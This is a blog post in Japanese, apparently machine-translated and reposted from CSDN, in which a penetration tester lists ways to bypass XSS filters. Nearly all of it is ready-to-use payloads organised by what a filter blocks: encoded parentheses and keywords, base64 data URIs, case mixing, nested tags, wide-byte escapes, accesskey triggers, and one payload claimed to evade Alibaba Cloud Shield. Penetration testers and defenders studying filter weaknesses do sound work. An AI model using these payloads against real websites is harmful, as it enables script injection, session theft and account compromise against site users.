XSS バイパス エクスペリエンスの概要

1。概要


多くの侵入テストを行った結果、システム内に XSS を傍受するさまざまなメカニズムがあることがわかりました。ここでは、XSS をバイパスした私の経験を共有したいと思います。
最初に XSS を学習し始めたとき、最初の攻撃方法は、ペイロードを辞書に整理してから 1 つずつ試すか、バープスイートに入れて爆破することかもしれません。これは非常に直接的で効果的な方法ですが、防御メカニズムが特殊文字を直接エスケープすることである場合、効果は比較的低い可能性があるため、ここで共有する経験は段階的な分析プロセスです。
XSS 攻撃のプロセス:
1. 入力データがページ上でエコーされるかどうかを観察する
2. XSS 防御メカニズムを決定する
3. XSS ペイロードを構築する
4. XSS ステートメントをトリガーする

2. 入力データがページ上でエコーされるかどうかを確認します。


私の経験では、burpsuite を直接使用し、送信されたデータ パケットをインターセプトし、通常のページには存在しない値である abcddcba などのパラメータにタグを追加して、戻りパケット内のタグをクエリしますが、XSS に保存されている場合、現在の戻りパケットにタグが見つからない可能性があります。この場合、F12 を使用してページ内のタグを直接クエリできます。
エコーによると、現在 3 つの状況に遭遇しています。
1. ラベルの外側
2. イベント内
3. js コードの内側
特殊なケース: システムにログ統計機能があり、この機能がアクセス IP、ユーザー入力アカウント、パスワードなどの情報を保存する場合、この機能は XSS 攻撃の実行にも使用できます。(アクセス IP は X-Forwarded For を使用して XSS ステートメントに変更できます)

3. XSS防御メカニズムの判断


XSS 防御メカニズムを判断するには多くの方法がありますが、段階的に進めていきたいので、私の順序は次のとおりです: 1.
フロントエンド フィルタリングであるかどうかを観察する; 2.ブラックリストフィルタリング
であるかどうかを観察する


4. XSS ペイロードの構築


フィルタリングにブラックリストが使用されている場合は、そのフィルタリング ルールを段階的に分析できます。
1. 特殊記号 <>”()`” など
2. ラベル
3. イベント
4. 動作


①特殊記号:


1. フィルタの括弧 () は
「」に置き換えることができます。

<script>alert`1`</script>

代わりに、実体化された %26lpar;%26rpar; を使用できます。

"/><math/href=javascript%26colon;alert%26lpar;1%26rpar;>1</math>



16 進数 (1)) を使用して置き換えることができます

<img src=111 onerror=javascript:alert&#x28;1&#x29>



10進数に置き換えることができます

<a href="javascript:alert&#40/1/&#41">a</a>



2. 括弧 () とバックティック `` のフィルタリングは、
base64 エンコード可能

<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>



ポンド記号 # を使用できます (ただし、このペイロードは IE10 でのみトリガーでき、日付と同様のポップアップ ウィンドウが表示されます)

<img language=vbs src=<b onerror=alert#1/1#>



一重引用符 'コロン: を使用できます (ただし、このペイロードは IE8 以下でのみトリガーできます)

<script language=vbs></script><img src=xx:x onerror="::alert+'1'::">



角括弧 [] が使用可能

<![if<iframe/οnlοad=vbs::alert[:]>



3. コロンをフィルタリングします。
使用: Entity: を置換して使用します。

<a href=javascript&colon;alert(2)>1</a>



4. フィルター山かっこ <> は
URLencode またはセカンダリ URLencode を試行できます

%3cscript%3ealert(1)%3c%2Fscript%3e
%253cscript%253ealert(1)%253c%252Fscript%253e



大文字と小文字の %3c と %3e にも奇跡的な効果がある可能性があります

%3Cscript%3Ealert(1)%3C%2Fscript%3E



5. フィルタースペースには
スラッシュ/を使用できます。

<img/src=1/οnerrοr=alert(1)>



6. フィルター等号 =

<script>alert(1)</script>



②ラベル


XSS をトリガーできるタグは非常に多くあります。いくつかの例を示します。
1.a タグ (文字数が制限されている場合に推奨)

<a href=”javascript:alert(1)">1</a>



2.スクリプトタグ

<script>alert(1)</script>



3. ボタンラベル

<button onfocus=alert(1)>



4.iframeタグ

<iframe onload=alert(1)>



5.imgタグ

<img src=1 onerror=alert(1)>



6. 数学ラベル

<math href="javascript:alert(1)">1</math>



7.コマンドラベル

<command oncut=alert(1)>1</command>



8. オブジェクトタグ

<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>



9. svgタグ

<svg onload=alert(1)>



もちろん、div、p、textarea、audio、var、video など、トリガーできるタグは多数あります。
10. タグをバイパスする方法は、もちろん大文字です。

<ScRipt>alert(1)</ScRipt>



③イベント


1. イベントでフィルタリングし
、イベントを形成する

<form><button formaction=javascript:alert(1)>1



hrefイベントを使用する

<a href=javascript:alert(1)>



データイベントを使用する

<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>



2. 長さを制限します。
オンカットとカットトリガーの使用をお勧めします。

<a/oncut=alert(1)>1


3. これは大文字を使用して回避することもできます

④ 動作
1.
プロンプトを使用してアラートをフィルタリングできます

<script>prompt(1)</script>



確認を使用できます

<script>confirm(1)</script>



document.writeを使用できます

<script>document.write(1)</script>



window.openを使用できます

<script>window.open(1)</script>



2. アラート、プロンプト、確認、document.write、window.open などをフィルターします。
置換には 10 進数を使用します。

<img src=1 onerror=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>



同様に、16 進数でも
Base64 エンコーディングを使用できます。

<a href="data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>



JSencode を使用する

<script>\u{61}l\u{65}rt`1`</script>



でもパッチワークを使うと

<script>this["ale"+"rt"]`666`</script>



また

<img src=0 onerror="var a='al';var b='ert';a+=b;top[a](1)">



Unicode エンコードを使用する

<img src=0 onerror=%5Cu0061%5Cu006c%5Cu0065%5Cu0072%5Cu0074(22)>



htmlを使用して実体化する

<a href="javascript:alert&#40;&#49;&#41;">Hello</a>



3. JavaScript をフィルターし
て 10 進数を使用して置き換えます

<a href=java&#0000000000000000115cript:alert(2)>1</a>



同様に 16 進数も可能です

<a href=java&#x000000000000000073;cript:alert(2)>1</a>



この大文字の使用も回避できます。
4. 大文字の使用も回避できます。

<script>ALerT(1)</script>



エコー時は置換処理を行います。
1. 空のものに置き換えます。
この時点では、バイパスするために再利用できます。

<scrscriptipt>alert(1)</scrscriptipt>



スクリプトを空に置き換えると、前後の scr と ipt をマージできます。
2. バックスラッシュ \ を使用してエスケープし、
ワイド バイト マージ\ を使用できます。

%df“ οnerrοr=alert(1) a=%df”1



\ を二重引用符で囲んで追加し、%df と組み合わせて 1 文字にします

実際に発生した状況:
1. システムは、onclick などの付随イベントをフィルターします。on の後にアンダースコアを追加して on_click になり、データ、式、JavaScript、vbscript などがすべてフィルターされます。

<img src=1 on/οnerrοr=alert(1)>



2. フィルタメソッド javascript:|alert|confirm|window|document||prompt|1 (エンコーディング)|(1) (エンコーディング)

<math/href=javascripT%26NewLine;:/1/[Symbol.replace]('1',alert)>1</math>



3. エコーフィールドはラベルの内側にあり、山括弧 <> と括弧 () はフィルタリングされ、ラベルは type 属性に hidden として含まれます:
accesskey を使用できます

%22%20accesskey=%22x%22%20οnclick=alert%601%60%20a=%221



Firefox ブラウザのトリガー方法 Shift+Alt+x
他のブラウザではまだ成功していません

4. Alibaba Cloud Shield のバイパス (ストレージ XSS 脆弱性)

\"><object data=data:text/html;base64,PG9iamVjdCBkYXRhPWRhdGE6dGV4dC9odG1sO2Jhc2U2NCxQSE5qY21sd2RENWhiR1Z5ZENnaWFHRmphMlZ5SWlrOEwzTmpjbWx3ZEQ0PT4=>



5. イベント時の動作をバイパスし、base64 暗号化を制限する

<object data=data:text/html;charset=utf-8,&lt;script&gt;alert(1)&lt;%2fscript&gt;></object>



5. 最後に


バイパスは併用できます。これが最も興味深い点です。この記事はあまり完全ではないかもしれません。新しい興味深いバイパス方法があれば、更新し続けます。ありがとうございます。

おすすめ

転載: blog.csdn.net/weixin_46622976/article/details/127420736